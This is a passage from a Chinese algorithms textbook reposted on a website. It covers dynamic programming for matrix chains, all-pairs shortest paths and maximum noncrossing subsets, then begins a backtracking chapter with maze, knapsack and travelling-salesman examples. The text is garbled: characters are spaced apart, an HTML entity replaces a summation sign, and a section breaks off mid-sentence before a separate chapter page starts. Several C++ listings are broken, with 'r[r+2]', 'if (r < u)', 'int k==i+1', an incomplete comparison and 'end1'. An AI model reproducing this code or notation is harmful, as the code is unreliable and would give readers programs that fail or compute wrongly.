c(2,5)=min{0+40+50, 50+200+500, 30+0+100}=90且k a y( 2 , 5 ) = 2

再用式（1 5 - 4）计算c( 1 , 5 )，在此之前必须算出c( 3 , 5 )、c(1,3) 和c( 1 , 4 )。同上述过程，亦可计算出它们的值分别为4 0、1 5 0和9 0，相应的k a y 值分别为4、2和2。代入式（1 5 - 4）得：

c(1,5)=min{0+90+500, 50+40+100, 150+200+1000, 90+0+200}=190且k a y( 1 , 5 ) = 2

此最优乘法算法的消耗为1 9 0，由k a y(1,5) 值可推出该算法的最后一步， k a y(1,5) 等于2，因此最后一步为M1 2×M3 5，而M12 和M35 都是用最优法计算而来。由k a y( 1 , 2 ) = 1知M12 等于M11×M2 2，同理由k a y( 3 , 5) = 4得知M35 由M3 4×M55 算出。依此类推，M34 由M3 3×M44 得出。因而此最优乘法算法的步骤为：

M11×M2 2 = M1 2

M3 3×M4 4 = M3 4

M3 4×M5 5 = M3 5

M1 2×M3 5 = M1 5

计算c(i, j) 和k a y (i, j) 的递归代码见程序1 5 - 6。在函数C中，r 为全局一维数组变量， k a y是全局二维数组变量，函数C返回c(i j) 之值且置k a y [a] [b] =k ay (a , b) (对于任何a , b)，其中c(a , b)在计算c(i,j) 时皆已算出。函数Traceback 利用函数C中已算出的k a y值来推导出最优乘法算法的步骤。

设t(q)为函数C的复杂性，其中q=j-i+ 1（即Mij 是q个矩阵运算的结果）。当q为1或2时，t(q) =d，其中d 为一常数；而q> 2时，t (q)=2q-1&aring;k = 1t (k ) +e q，其中e 是一个常量。因此当q＞2时，t(q)＞2t (q- 1 ) +e，所以t (q)= W ( 2q)。函数Traceback 的复杂性为(q)。

程序15-6 递归计算c (i, j) 和kay (i, j)

int C(int i, int j)

{ / /返回c(i,j) 且计算k(i,j) = kay[i][j]

if (i==j) return 0; //一个矩阵的情形

if (i == j-1) { //两个矩阵的情形

kay[i][i+1] = i;

return r[i]*r[i+1]*r[r+2];}

/ /多于两个矩阵的情形

/ /设u为k = i 时的最小值

int u = C(i,i) + C(i+1,j) + r[i]*r[i+1]*r[j+1];

kay[i][j] = i;

/ /计算其余的最小值并更新u

for (int k = i+1; k < j; k++) {

int t = C(i,k) + C(k+1,j) + r[i]*r[k+1]*r[j+1];

if (r < u) {//小于最小值的情形

u = t;

kay[i][j] = k;

}

return u;

}

void Traceback (int i, int j ,int **kay)

{ / /输出计算Mi j 的最优方法

if ( i == j) return;

Traceback(i, kay[i][j], kay);

Traceback(kay[i][j]+1, j, kay);

cout << "Multiply M" << i << ", "<< kay[i][j];

cout << " and M " << (kay[i][j]+1) << ", " << j << end1;

}

2. 无重复计算的递归方法

若避免再次计算前面已经计算过的c（及相应的k a y），可将复杂性降低到（q3）。而为了避免重复计算，需用一个全局数组c[ ][ ]存储c(i, j) 值，该数组初始值为0。函数C的新代码见程序1 5 - 7：

程序15-7 无重复计算的c (i, j) 计算方法

int C(int i,int j)

{ / /返回c(i,j) 并计算k a y ( i , j ) = k a y [ I ] [ j ]

/ /避免重复计算

/ /检查是否已计算过

if （c[i][j] >） return c[i][j];

/ /若未计算,则进行计算

if(i==j) return 0; //一个矩阵的情形

i f ( i = = j - 1 ) { / /两个矩阵的情形

kay[i][i+1]=i;

c [ i ] [ j ] = r [ i ] * r [ i + 1 ] * r [ i + 2 ] ;

return c[i][j];}

/ /多于两个矩阵的情形

/ /设u为k = i 时的最小值

int u=C(i,i)+C(i+1,j)+r[i]*r[i+1]*r[j+1];

k a y [ i ] [ j ] = i ;

/ /计算其余的最小值并更新u

for (int k==i+1; k<j;k++){

int t=C(i,k)+C(k+1,j)+r[i]*r[k+1]*r[j+1];

if (t<u) {// 比最小值还小

u = t ;

k a y [ i ] [ j ] = k ; }

}

c [ i ] [ j ] = u ;

return u;

}

为分析改进后函数C 的复杂性，再次使用分期计算方法。注意到调用C(1, q) 时每个c (i, j)（1≤i≤j≤q）仅被计算一次。要计算尚未计算过的c(a,b)，需附加的工作量s =j-i＞1。将s 计入第一次计算c (a, b) 时的工作量中。在依次计算c(a, b) 时，这个s 会转计到每个c (a, b) 的第一次计算时间c 中，因此每个c (i, i) 均被计入s。对于每个s，有q-s+ 1个c(i, j) 需要计算，因此总的工作消耗为q-1 &aring;s=1(q-s+ 1) = (q3 )。

3. 迭代方法

c 的动态规划递归式可用迭代的方法来求解。若按s = 2，3，.，q-1 的顺序计算c (i, i+s)，每个c 和kay 仅需计算一次。

例3-14 考察例3 - 1 3中五个矩阵的情况。先初始化c (i, i) (0≤i≤5) 为0，然后对于i=1, ., 4分别计算c (i, i+ 1 )。c (1, 2)= r1 r2 r3 = 5 0，c (2, 3)= 5 0，c ( 3,4)=20 和c (4, 5) = 2 0 0。相应的k ay 值分别为1，2，3和4。

当s= 2时，可得：

c( 1 , 3 ) = m i n {c( 1 , 1 ) +c(2,3)+ r1 r2 r4 , c( 1 , 2 ) +c( 3 ,3 )+r1r3r4 }=min{0+50+500,50+0+100}

=150

且k a y( 1 , 3 ) = 2。用相同方法可求得c( 2 , 4 )和c( 3 , 5 )分别为3 0和4 0，相应k a y值分别为2和3。

当s= 3时，需计算c(1,4) 和c( 2 , 5 )。计算c(2,5) 所需要的所有中间值均已知(见( 1 5 - 5 )式)，代入计算公式后可得c( 2 , 5 ) = 9 0，k a y( 2 , 5 ) = 2。c( 1 , 4 )可用同样的公式计算。最后，当s= 4时，可直接用（1 5 - 4）式来计算c( 1 , 5 )，因为该式右边所有项都已知。

计算c 和kay 的迭代程序见函数M a t r i x C h a i n（见程序1 5 - 8），该函数的复杂性为(q3 )。计算出kay 后同样可用程序1 5 - 6中的Traceback 函数推算出相应的最优乘法计算过程。

程序15-8 c 和kay 的迭代计算

void MatrixChain(int r[], int q, int **c, int **kay)

{// 为所有的Mij 计算耗费和k a y

// 初始化c[i][i], c[i][i+1]和k a y [ i ] [ i + 1 ]

for (int i = 1; i < q; i++) {

c[i][i] = 0;

c[i][i+1] = r[i]*r[i+1]*r[i+2];

kay[i][i+1] = i;

}

c[q][q] = 0;

/ /计算余下的c和k a y

for (int s = 2; s < q; s++)

for (int i = 1; i <= q - s; i++) {

// k = i时的最小项

c[i][i+s] = c[i][i] + c[i+1][i+s] + r[i]*r[i+1]*r[i+s+1];

kay[i][i+s] = i;

// 余下的最小项

for (int k = i+1; k < i + s; k++) {

int t = c[i][k] + c[k+1][i+s] + r[i]*r[k+1]*r[i+s+1];

if (t < c[i][i+s]) {// 更小的最小项

c[i][i+s] = t;

kay[i][i+s] = k;}

}

}

}

3.2.4 最短路径

假设G为有向图，其中每条边都有一个长度（或耗费），图中每条有向路径的长度等于该路径中各边的长度之和。对于每对顶点(i, j)，在顶点i 与j 之间可能有多条路径，各路径的长度可能各不相同。我们定义从i 到j 的所有路径中，具有最小长度的路径为从i 到j 的最短路径。

例3-15 如图1 5 - 4所示。从顶点1到顶点3的路径有

1) 1,2,5,3

2) 1,4,3

3) 1,2,5,8,6,3

4) 1,4,6,3

由该图可知,各路径相应的长度为1 0、2 8、9、2 7，因而路径3) 是该图中顶点1到顶点3的最短路径。

在所有点对最短路径问题（ a l l - p a i r sshorest-paths problem）中，要寻找有向图G中每对顶点之间的最短路径。也就是说，对于每对顶点(i, j)，需要寻找从i到j 的最短路径及从j 到i 的最短路径。因此对于一个n 个顶点的图来说，需寻找p =n(n-1) 条最短路径。假定图G中不含有长度为负数的环路，只有在这种假设下才可保证G中每对顶点(i, j) 之间总有一条不含环路的最短路径。当有向图中存在长度小于0的环路时，可能得到长度为－∞的更短路径，因为包含该环路的最短路径往往可无限多次地加上此负长度的环路。

设图G中n 个顶点的编号为1到n。令c (i, j, k)表示从i 到j 的最短路径的长度，其中k 表示该路径中的最大顶点。因此，如果G中包含边<i, j>，则c(i, j, 0) =边<i, j> 的长度；若i= j ，则c(i,j, 0)=0；如果G中不包含边<i, j>，则c (i, j, 0)= +∞。c(i, j, n) 则是从i 到j 的最短路径的长度。

例3-16 考察图1 5 - 4。若k=0, 1, 2, 3，则c (1, 3, k)= ∞；c (1, 3, 4)= 2 8；若k = 5, 6, 7，则c (1, 3,k) = 1 0；若k=8, 9, 10，则c (1, 3, k) = 9。因此1到3的最短路径长度为9。对于任意k＞0，如何确定c (i, j, k) 呢？中间顶点不超过k 的i 到j 的最短路径有两种可能：该路径含或不含中间顶点k。若不含，则该路径长度应为c(i, j, k- 1 )，否则长度为c(i, k, k- 1) +c (k, j, k- 1 )。c(i, j, k) 可取两者中的最小值。因此可得到如下递归式：

c( i, j, k)= m i n {c(i, j, k-1), c (i, k, k- 1) +c (k, j, k- 1 ) }，k＞0

以上的递归公式将一个k 级运算转化为多个k-1 级运算，而多个k-1 级运算应比一个k 级运算简单。如果用递归方法求解上式，则计算最终结果的复杂性将无法估量。令t (k) 为递归求解c (i, j, k) 的时间。根据递归式可以看出t(k) = 2t(k- 1 ) +c。利用替代方法可得t(n) = ( 2n )。因此得到所有c (i, j, n) 的时间为(n2 2n )。

当注意到某些c (i, j, k-1) 值可能被使用多次时，可以更高效地求解c (i, j, n)。利用避免重复计算c(i, j, k) 的方法，可将计算c 值的时间减少到(n3 )。这可通过递归方式（见程序1 5 - 7矩阵链问题）或迭代方式来实现。出迭代算法的伪代码如图1 5 - 5所示。

/ /寻找最短路径的长度

/ /初始化c（i，j，1）

for （int i=1； i < = n ; i + +）

for (int j=1; j<=n; j+ + )

c ( i ,j, 0 ) = a ( i ,j); // a 是长度邻接矩阵

/ /计算c ( i ,j, k ) ( 0 < k < = n )

for(int k=1;k<=n;k++)

for (int i=1;i<=n;i++)

for (int j= 1 ;j< = n ;j+ + )

if (c(i,k,k-1)+c(k,j, k - 1 ) < c ( i ,j, k - 1 ) )

c ( i ,j, k ) = c ( i , k , k - 1 ) + c ( k ,j, k - 1 ) ;

else c(i,j, k ) = c ( i ,j, k - 1 ) ;

图15-5 最短路径算法的伪代码

注意到对于任意i，c(i,k,k) =c(i,k,k- 1 )且c(k,i,k) =c(k,i,k- 1 )，因而，若用c(i,j)代替图1 5 - 5的c(i,j,k)，最后所得的c(i,j) 之值将等于c(i,j,n) 值。此时图1 5 - 5可改写成程序1 5 - 9的C + +代码。程序1 5 - 9中还利用了程序1 2 - 1中定义的AdjacencyWDigraph 类。函数AllPairs 在c 中返回最短路径的长度。若i 到j 无通路，则c [i] [j]被赋值为N o E d g e。函数AllPairs 同时计算了k a y [ i ] [ j ]，其中kay[i][j] 表示从i 到j 的最短路径中最大的k 值。在后面将看到如何根据kay 值来推断出从一个顶点到另一顶点的最短路径（见程序1 5 - 1 0中的函数O u t p u t P a t h）。

程序1 5 - 9的时间复杂性为(n3 )，其中输出一条最短路径的实际时间为O (n)。

程序15-9 c 和kay 的计算

template<class T>

void AdjacencyWDigraph<T>::Allpairs(T **c, int **kay)

{ / /所有点对的最短路径

/ /对于所有i和j，计算c [ i ] [ j ]和k a y [ i ] [ j ]

/ /初始化c [ i ] [ j ] = c（i，j，0）

for (int i = 1; i <= n; i++)

for (int j = 1; j <= n; j++) {

c[i][j] = a[i][j];

kay[i][j] = 0;

}

for (i = 1; i <= n; i++)

c[i][i] = 0;

// 计算c[i][j] = c(i,j,k)

for (int k = 1; k <= n; k++)

for (int i = 1; i <= n; i++)

for (int j = 1; j <= n; j++) {

T t1 = c[i][k];

T t2 = c[k][j];

T t3 = c[i][j];

if (t1 != NoEdge && t2 != NoEdge && (t3 == NoEdge || t1 + t2 < t3)) {

c[i][j] = t1 + t2;

kay[i][j] = k;}

}

}

程序15-10 输出最短路径

void outputPath(int **kay, int i, int j)

{// 输出i 到j 的路径的实际代码

if (i == j) return;

if (kay[i][j] == 0) cout << j << ' ';

else {outputPath(kay, i, kay[i][j]);

o u t p u t P a t h ( k a y, kay[i][j], j);}

}

template<class T>

void OutputPath(T **c, int **kay, T NoEdge, int i, int j)

{// 输出从i 到j的最短路径

if (c[i][j] == NoEdge) {

cout << "There is no path from " << i << " to " << j << endl;

r e t u r n ; }

cout << "The path is" << endl;

cout << i << ' ';

o u t p u t P a t h ( k a y, i , j ) ;

cout << endl;

}

例3-17 图15-6a 给出某图的长度矩阵a，15-6b 给出由程序1 5 - 9所计算出的c 矩阵，15-6c 为对应的k a y值。根据15-6c 中的kay 值，可知从1到5的最短路径是从1到k a y [ 1 ] [ 5 ] = 4的最短路径再加上从4到5的最短路径，因为k a y [ 4 ] [ 5 ] = 0，所以从4到5的最短路径无中间顶点。从1到4的最短路径经过k a y [ 1 ] [ 4 ] = 3。重复以上过程，最后可得1到5的最短路径为：1，2，3，4，5。

3.2.5 网络的无交叉子集

在11 . 5 . 3节的交叉分布问题中，给定一个每边带n 个针脚的布线通道和一个排列C。顶部的针脚i 与底部的针脚Ci 相连，其中1≤i≤n，数对(i, Ci ) 称为网组。总共有n 个网组需连接或连通。假设有两个或更多的布线层，其中有一个为优先层，在优先层中可以使用更细的连线，其电阻也可能比其他层要小得多。布线时应尽可能在优先层中布设更多的网组。而剩下的其他网组将布设在其他层。当且仅当两个网组之间不交叉时，它们可布设在同一层。我们的任务是寻找一个最大无交叉子集（Maximum Noncrossing Su b s e t，M N S )。在该集中，任意两个网组都不交叉。因(i, Ci ) 完全由i 决定，因此可用i 来指定(i, Ci )。

例3-18 考察图1 5 - 7（对应于图1 0 - 1 7）。( 1 , 8 )和( 2 , 7 )（也即1号网组和2号网组）交叉，因而不能布设在同一层中。而( 1 , 8 )，(7,9) 和(9,10) 未交叉，因此可布设在同一层。但这3个网组并不能构成一个M N S，因为还有更大的不交叉子集。图1 0 - 1 7中给出的例子中，集合｛ ( 4 , 2 ) ,( 5 , 5 ) , ( 7 , 9 ) , ( 9 , 1 0 )｝是一个含4个网组的M N S。

设M N S(i, j) 代表一个M N S，其中所有的(u, Cu ) 满足u≤i，Cu≤j。令s i z e(i,j) 表示M N S(i,j)的大小(即网组的数目)。显然M N S(n,n)是对应于给定输入的M N S，而s i z e(n,n)是它的大小。

例3-19 对于图1 0 - 1 7中的例子，M N S( 1 0 , 1 0 )是我们要找的最终结果。如例3 - 1 8中所指出的，s i z e( 1 0 , 1 0 ) = 4，因为( 1 , 8 )，( 2 , 7 )，( 7 , 9 )，( 8 , 3 )，( 9 , 1 0 )和( 1 0 , 6 )中要么顶部针脚编号比7大，要么底部针脚编号比6大，因此它们都不属于M N S( 7 , 6 )。因此只需考察剩下的4个网组是否属于M N S( 7 , 6 )，如图1 5 - 8所示。子集｛( 3 , 4 ) , ( 5 , 5 )｝是大小为2的无交叉子集。没有大小为3的无交叉子集，因此s i z e( 7 , 6) = 2。

当i= 1时，( 1 ,C1) 是M N S( 1 ,j) 的唯一候选。仅当j≥C1 时，这个网组才会是M N S( 1 ,j) 的一个成员.

下一步，考虑i＞1时的情况。若j＜Ci，则(i,Ci ) 不可能是M N S( i,j) 的成员，所有属于M N S(i,j) 的(u, Cu ) 都需满足u＜i且Cu＜j，因此：s i z e(i,j) =s i z e(i- 1 ,j), j<Ci （1 5 - 7）

若j≥Ci，则(i,Ci ) 可能在也可能不在M N S(i,j) 内。若(i,Ci ) 在M N S(i,j) 内，则在M N S(i,j)中不会有这样的(u,Cu )：u＜i且Cu＞Ci，因为这个网组必与(i, Ci ) 相交。因此M N S(i,j) 中的其他所有成员都必须满足条件u＜i且Cu＜Ci。在M N S(i,j) 中这样的网组共有Mi- 1 , Ci- 1 个。若(i,Ci ) 不在M N S(i,j)中，则M N S(i,j) 中的所有(u, Cu ) 必须满足u＜i；因此s i z e(i,j)=s i z e(i- 1 ,j)。虽然不能确定(i, Ci )是否在M N S(i,j) 中，但我们可以根据获取更大M N S的原则来作出选择。因此：s i z e(i,j) = m a x {s i z e(i-1 ,j), s i z e(i- 1 ,Ci-1)+1}, j≥Ci （1 5 - 8）

虽然从（1 5 - 6）式到（ 1 5 - 8）式可用递归法求解，但从前面的例子可以看出，即使避免了重复计算，动态规划递归算法的效率也不够高，因此只考虑迭代方法。在迭代过程中先用式（1 5 - 6）计算出s i ze ( 1 ,j)，然后再用式（1 5 - 7）和（1 5 - 8）按i=2, 3, ., n 的顺序计算s i ze (i,j)，最后再用Traceback 来得到M N S(n, n) 中的所有网组。

例3-20 图1 5 - 9给出了图1 5 - 7对应的s i z e(i,j) 值。因s i z e( 1 0 , 1 0) = 4，可知M N S含4个网组。为求得这4个网组，先从s i ze ( 1 0 , 1 0 )入手。可用（1 5 - 8）式算出s i z e( 1 0 , 1 0 )。根据式（1 5 - 8）时的产生原因可知s i ze ( 1 0 , 1 0)=s i z e( 9 , 1 0 )，因此现在要求M NS ( 9 , 1 0 )。由于M NS ( 1 0 , 1 0 )≠s i z e( 8 , 1 0 )，因此M NS (9,10) 中必包含9号网组。M N S(9,10) 中剩下的网组组成M NS ( 8 , C9- 1)=M N S( 8 , 9 )。由M N S( 8 , 9 ) =M NS (7,9) 知，8号网组可以被排除。接下来要求M N S( 7 , 9 )，因为s i z e( 7 , 9 )≠s i z e( 6 , 9 )，所以M N S中必含7号网组。M NS (7,9) 中余下的网组组成M NS ( 6 , C7- 1 ) =M N S( 6 , 8 )。根据s i z e( 6 , 8 ) =s i z e( 5 , 8 )可排除6号网组。按同样的方法， 5号网组，3号网组加入M N S中，而4号网组等其他网组被排除。因此回溯过程所得到的大小为4的M N S为{ 3 , 5 , 7 , 9 }。

注意到在回溯过程中未用到s i z e( 1 0 ,j) (j≠1 0 )，因此不必计算这些值。

程序1 5 - 11给出了计算s i z e ( i , j ) 的迭代代码和输出M N S的代码。函数M N S用来计算s i ze (i,j) 的值，计算结果用一个二维数组M N来存储。size[i][j] 表示s i z e(i,j)，其中i=j= n 或1≤i＜n，0≤j≤n，计算过程的时间复杂性为(n2 )。函数Traceback 在N et［0 : m - 1］中输出所得到的M N S，其时间复杂性为(n)。因此求解M M S问题的动态规划算法的总的时间复杂性

为(n2 )。

程序1 5 - 11 寻找最大无交叉子集

void MNS(int C[], int n, int **size)

{ / /对于所有的i 和j，计算s i z e [ i ] [ j ]

/ /初始化s i z e [ 1 ] [ * ]

for (int j = 0; j < C[1]; j++)

size[1][j] = 0;

for (j = C[1]; j <= n; j++)

size[1][j] = 1;

// 计算size[i][*], 1 < i < n

for (int i = 2; i < n; i++) {

for (int j = 0; j < C[i]; j++)

size[i][j] = size[i-1][j];

for (j = C[i]; j <= n; j++)

size[i][j] = max(size[i-1][j], size[i-1][C[i]-1]+1);

}

size[n][n] = max(size[n-1][n], size[n-1][C[n]-1]+1);

}

void Traceback(int C[], int **size, int n, int Net[], int& m)

{// 在N e t [ 0 : m - 1 ]中返回M M S

int j = n; // 所允许的底部最大针脚编号

m = 0; // 网组的游标

for (int i = n; i > 1; i--)

// i 号n e t在M N S中?

if (size[i][j] != size[i-1][j]){// 在M N S中

Net[m++] = i;

j = C[i] - 1;}

// 1号网组在M N S中?

if (j >= C[1])

Net[m++] = 1; // 在M N S中

}

3.2.6 元件折叠

在设计电路的过程中，工程师们会采取多种不同的设计风格。其中的两种为位－片设计（bit-slice design）和标准单元设计（standard-cell design）。在前一种方法中，电路首先被设计为一个元件栈（如图15-10a 所示）。每个元件Ci 宽为wi ，高为hi ，而元件宽度用片数来表示。图15-10a 给出了一个四片的设计。线路是按片来连接各元件的，即连线可能连接元件Ci

作者: liuchaohai


常用算法（4）回溯算法
常用算法（4）回溯算法

--------------------------------------------------------------------------------

作者:liuchaohai 来源: 类别:数据算法 日期:2002.09.19 今日/总浏览: 4/9

    第 4 章 回溯

寻找问题的解的一种可靠的方法是首先列出所有候选解，然后依次检查每一个，在检查完所有或部分候选解后，即可找到所需要的解。理论上，当候选解数量有限并且通过检查所有或部分候选解能够得到所需解时，上述方法是可行的。不过，在实际应用中，很少使用这种方法，因为候选解的数量通常都非常大（比如指数级，甚至是大数阶乘），即便采用最快的计算机也只能解决规模很小的问题。对候选解进行系统检查的方法有多种，其中回溯和分枝定界法是比较常用的两种方法。按照这两种方法对候选解进行系统检查通常会使问题的求解时间大大减少（无论对于最坏情形还是对于一般情形）。事实上，这些方法可以使我们避免对很大的候选解集合进行检查，同时能够保证算法运行结束时可以找到所需要的解。因此，这些方法通常能够用来求解规模很大的问题。

本章集中阐述回溯方法，这种方法被用来设计货箱装船、背包、最大完备子图、旅行商和电路板排列问题的求解算法。

4.1 算法思想

回溯（b a c k t r a c k i n g）是一种系统地搜索问题解答的方法。为了实现回溯，首先需要为问题定义一个解空间（ solution space），这个空间必须至少包含问题的一个解（可能是最优的）。在迷宫老鼠问题中，我们可以定义一个包含从入口到出口的所有路径的解空间；在具有n 个对象的0 / 1背包问题中（见1 . 4节和2 . 2节），解空间的一个合理选择是2n 个长度为n 的0 / 1向量的集合，这个集合表示了将0或1分配给x的所有可能方法。当n= 3时，解空间为{ ( 0 , 0 , 0 )，( 0 , 1 , 0 )，( 0 , 0 , 1 )，( 1 , 0 , 0 )，( 0 , 1 , 1 )，( 1 , 0 , 1 )，( 1 , 1 , 0 )，( 1 , 1 , 1 ) }。

下一步是组织解空间以便它能被容易地搜索。典型的组织方法是图或树。图1 6 - 1用图的形式给出了一个3×3迷宫的解空间。从( 1 , 1 )点到( 3 , 3 )点的每一条路径都定义了3×3迷宫解空间中的一个元素，但由于障碍的设置，有些路径是不可行的。

图1 6 - 2用树形结构给出了含三个对象的0 / 1背包问题的解空间。从i 层节点到i+ 1层节点的一条边上的数字给出了向量x 中第i个分量的值xi ，从根节点到叶节点的每一条路径定义了解空间中的一个元素。从根节点A到叶节点H的路径定义了解x= [ 1 , 1 , 1 ]。根据w 和c 的值，从根到叶的路径中的一些解或全部解可能是不可行的。

一旦定义了解空间的组织方法，这个空间即可按深度优先的方法从开始节点进行搜索。在迷宫老鼠问题中，开始节点为入口节点( 1 , 1 )；在0 / 1背包问题中，开始节点为根节点A。开始节点既是一个活节点又是一个E-节点（expansion node）。从E-节点可移动到一个新节点。如果能从当前的E-节点移动到一个新节点，那么这个新节点将变成一个活节点和新的E-节点，旧的E-节点仍是一个活节点。如果不能移到一个新节点，当前的E-节点就“死”了（即不再是一个活节点），那么便只能返回到最近被考察的活节点（回溯），这个活节点变成了新的E-节点。当我们已经找到了答案或者回溯尽了所有的活节点时，搜索过程结束。

例4-1 [迷宫老鼠] 考察图16-3a 的矩阵中给出的3×3的“迷宫老鼠”问题。我们将利用图1 6 -1给出的解空间图来搜索迷宫。

从迷宫的入口到出口的每一条路径都与图1 6 - 1中从( 1 , 1 )到( 3 , 3 )的一条路径相对应。然而，图1 6 - 1中有些从( 1 , 1 )到( 3 , 3 )的路径却不是迷宫中从入口到出口的路径。搜索从点( 1 , 1 )开始，该点是目前唯一的活节点，它也是一个E-节点。为避免再次走过这个位置，置m a z e( 1 , 1 )为1。从这个位置，能移动到( 1 , 2 )或( 2 , 1 )两个位置。对于本例，两种移动都是可行的，因为在每一个位置都有一个值0。假定选择移动到( 1 , 2 )，m a z e( 1 , 2 )被置为1以避免再次经过该点。迷宫当前状态如图16-3b 所示。这时有两个活节点(1,1) (1,2)。( 1 , 2 )成为E-节点。

在图1 6 - 1中从当前E-节点开始有3个可能的移动，其中两个是不可行的，因为迷宫在这些位置上的值为1。唯一可行的移动是( 1 , 3 )。移动到这个位置，并置m a z e( 1 , 3 )为1以避免再次经过该点，此时迷宫状态为1 6 - 3 c。图1 6 - 1中，从( 1 , 3 )出发有两个可能的移动，但没有一个是可行的。所以E-节点( 1 , 3 )死亡，回溯到最近被检查的活节点( 1 , 2 )。在这个位置也没有可行的移动，故这个节点也死亡了。唯一留下的活节点是( 1 , 1 )。这个节点再次变为E-节点，它可移动到( 2 , 1 )。现在活节点为( 1 , 1 )，( 2 , 1 )。继续下去，能到达点( 3 , 3 )。此时，活节点表为( 1 , 1 )，( 2 , 1 )，( 3 , 1 )，( 3 , 2 )，( 3 , 3 )，这即是到达出口的路径。

程序5 - 1 3是一个在迷宫中寻找路径的回溯算法。

例4-2 [0/1背包问题] 考察如下背包问题：n= 3，w= [ 2 0 , 1 5 , 1 5 ]，p= [ 4 0 , 2 5 , 2 5 ]且c= 3 0。从根节点开始搜索图1 6 - 2中的树。根节点是当前唯一的活节点，也是E-节点，从这里能够移动到B或C点。假设移动到B，则活节点为A和B。B是当前E-节点。在节点B，剩下的容量r 为1 0，而收益c p 为4 0。从B点，能移动到D或E。移到D是不可行的，因为移到D所需的容量w2 为1 5。到E的移动是可行的，因为在这个移动中没有占用任何容量。E变成新的E-节点。这时活节点为A , B , E。在节点E，r= 1 0，c p= 4 0。从E，有两种可能移动（到J 和K），到J 的移动是不可行的，而到K的移动是可行的。节点K变成了新的E-节点。因为K是一个叶子，所以得到一个可行的解。这个解的收益为c p= 4 0。x 的值由从根到K的路径来决定。这个路径（ A , B , E , K）也是此时的活节点序列。既然不能进一步扩充K，K节点死亡，回溯到E，而E也不能进一步扩充，它也死亡了。接着，回溯到B，它也死亡了，A再次变为E-节点。它可被进一步扩充，到达节点C。此时r= 3 0，c p= 0。从C点能够移动到F或G。假定移动到F。F变为新的E-节点并且活节点为A, C,F。在F，r= 1 5，c p= 2 5。从F点，能移动到L或M。假定移动到L。此时r= 0，c p= 5 0。既然L是一个叶节点，它表示了一个比目前找到的最优解（即节点K）更好的可行解，我们把这个解作为最优解。节点L死亡，回溯到节点F。继续下去，搜索整棵树。在搜索期间发现的最优解即为最后的解。

例4-3 [旅行商问题] 在这个问题中，给出一个n 顶点网络（有向或无向），要求找出一个包含所有n 个顶点的具有最小耗费的环路。任何一个包含网络中所有n 个顶点的环路被称作一个旅行（t o u r）。在旅行商问题中，要设法找到一条最小耗费的旅行。

图1 6 - 4给出了一个四顶点网络。在这个网络中，一些旅行如下： 1 , 2 , 4 , 3 , 1；1 , 3 , 2 , 4 , 1和1 , 4 , 3 , 2 , 1。旅行2 , 4 , 3 , 1 , 2；4 , 3 , 1 , 2 , 4和3 , 1 , 2 , 4 , 3和旅行1 , 2 , 4 , 3 , 1一样。而旅行1 , 3 , 4 , 2 , 1是旅行1 , 2 , 4 , 3 , 1的“逆”。旅行1 , 2 , 4 , 3 , 1的耗费为6 6；而1 , 3 , 2 , 4 , 1的耗费为2 5；1 , 4 , 3 , 2 , 1为5 9。故1 , 3 , 2 , 4 , 1是该网络中最小耗费的旅行。

顾名思义，旅行商问题可被用来模拟现实生活中旅行商所要旅行的地区问题。顶点表示旅行

商所要旅行的城市（包括起点）。边的耗费给出了在两个城市旅行所需的时间（或花费）。旅行表示当旅行商游览了所有城市再回到出发点时所走的路线。

旅行商问题还可用来模拟其他问题。假定要在一个金属薄片或印刷电路板上钻许多孔。孔的位置已知。这些孔由一个机器钻头来钻，它从起始位置开始，移动到每一个钻孔位置钻孔，然后回到起始位置。总共花的时间是钻所有孔的时间与钻头移动的时间。钻所有孔所需的时间独立于钻孔顺序。然而，钻头移动时间是钻头移动距离的函数。因此，希望找到最短的移动路径。

另有一个例子，考察一个批量生产的环境，其中有一个特殊的机器可用来生产n 个不同的产品。利用一个生产循环不断地生产这些产品。在一个循环中，所有n 个产品被顺序生产出来，然后再开始下一个循环。在下一个循环中，又采用了同样的生产顺序。例如，如果这台机器被用来顺序为小汽车喷红、白、蓝漆，那么在为蓝色小汽车喷漆之后，我们又开始了新一轮循环，为红色小汽车喷漆，然后是白色小汽车、蓝色小汽车、红色小汽车，..，如此下去。一个循环的花费包括生产一个循环中的产品所需的花费以及循环中从一个产品转变到另一个产品的花费。虽然生产产品的花费独立于产品生产顺序，但循环中从生产一个产品转变到生产另一个产品的花费却与顺序有关。为了使耗费最小化，可以定义一个有向图，图中的顶点表示产品，边＜(i , j)＞上的耗费值为生产过程中从产品i 转变到产品j 所需的耗费。一个最小耗费的旅行定义了一个最小耗费的生产循环。

既然旅行是包含所有顶点的一个循环，故可以把任意一个点作为起点（因此也是终点）。

针对图1 6 - 4，任意选取点1作为起点和终点，则每一个旅行可用顶点序列1, v2 ,., vn , 1来描述，

v2 , ., vn 是(2, 3, ., n) 的一个排列。可能的旅行可用一个树来描述，其中每一个从根到叶的路

径定义了一个旅行。图1 6 - 5给出了一棵表示四顶点网络的树。从根到叶的路径中各边的标号定义了一个旅行（还要附加1作为终点）。例如，到节点L的路径表示了旅行1 , 2 , 3 , 4 , 1，而到节点O的路径表示了旅行1 , 3 , 4 , 2 , 1。网络中的每一个旅行都由树中的一条从根到叶的确定路径来表示。因此，树中叶的数目为(n- 1 )！。

回溯算法将用深度优先方式从根节点开始，通过搜索解空间树发现一个最小耗费的旅行。对图1 6 - 4的网络，利用图1 6 - 5的解空间树，一个可能的搜索为A B C F L。在L点，旅行1 , 2 , 3 , 4 , 1作为当前最好的旅行被记录下来。它的耗费是5 9。从L点回溯到活节点F。由于F没有未被检查的孩子，所以它成为死节点，回溯到C点。C变为E-节点，向前移动到G，然后是M。这样构造出了旅行1 , 2 , 4 , 3 , 1，它的耗费是6 6。既然它不比当前的最佳旅行好，抛弃它并回溯到G，然后是C , B。从B点，搜索向前移动到D，然后是H , N。这个旅行1 , 3 , 2 , 4 , 1的耗费是2 5，比当前的最佳旅行好，把它作为当前的最好旅行。从N点，搜索回溯到H，然后是D。在D点，再次向前移动，到达O点。如此继续下去，可搜索完整个树，得出1 , 3 , 2 , 4 , 1是最少耗费的旅行。

当要求解的问题需要根据n 个元素的一个子集来优化某些函数时，解空间树被称作子集树（subset tree）。所以对有n 个对象的0 / 1背包问题来说，它的解空间树就是一个子集树。这样一棵树有2n 个叶节点，全部节点有2n+ 1－1个。因此，每一个对树中所有节点进行遍历的算法都必须耗时W ( 2n )。当要求解的问题需要根据一个n 元素的排列来优化某些函数时，解空间树被称作排列树（permutation tree）。这样的树有n! 个叶节点，所以每一个遍历树中所有节点的算法都必须耗时W (n! )。图1 6 - 5中的树是顶点{ 2 , 3 , 4 }的最佳排列的解空间树，顶点1是旅行的起点和终点。

